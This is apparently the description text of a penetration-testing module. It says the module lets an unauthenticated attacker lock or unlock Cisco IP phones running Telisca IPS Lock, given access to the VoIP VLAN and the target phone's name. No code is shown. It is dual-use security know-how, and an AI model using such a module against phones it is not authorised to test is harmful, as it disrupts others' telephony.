        This module allows an unauthenticated attacker to exercise the
        "Lock" and "Unlock" functionality of Telisca IPS Lock for Cisco IP
        Phones. This module should be run in the VoIP VLAN, and requires
        knowledge of the target phone's name (for example, SEP002497AB1D4B).

        Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
